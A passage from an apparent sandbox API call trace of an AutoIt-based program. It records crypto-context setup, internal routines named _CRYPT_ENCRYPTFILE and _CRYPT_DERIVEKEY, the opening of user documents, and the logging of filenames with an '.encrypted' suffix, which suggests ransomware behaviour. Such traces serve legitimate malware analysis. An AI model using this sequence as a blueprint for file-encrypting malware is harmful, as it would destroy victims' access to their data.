wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.613] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.613] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.613] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.615] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.615] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.615] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3802) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.616] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xeda, lpOverlapped=0x0) returned 1 [0024.616] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xeda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3802) returned 1 [0024.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0024.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\n", cchWideChar=67, lpMultiByteStr=0xe8f40514a0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\n", lpUsedDefaultChar=0x0) returned 67 [0024.616] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069650*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069650*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0024.616] CloseHandle (hObject=0x1fc) returned 1 [0024.617] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.617] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.617] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.618] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.619] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.619] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.619] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0024.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods", cchWideChar=63, lpMultiByteStr=0xe8f4051590, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods", lpUsedDefaultChar=0x0) returned 63 [0024.619] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\bftnn-lfcqrk6y3v.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0024.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0xe8f4067fa0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods") returned 63 [0024.620] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.620] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.621] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.621] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.621] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.621] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.621] CloseHandle (hObject=0x1fc) returned 1 [0024.621] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.622] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.622] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.622] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.622] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.623] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.623] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.623] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.624] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.624] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 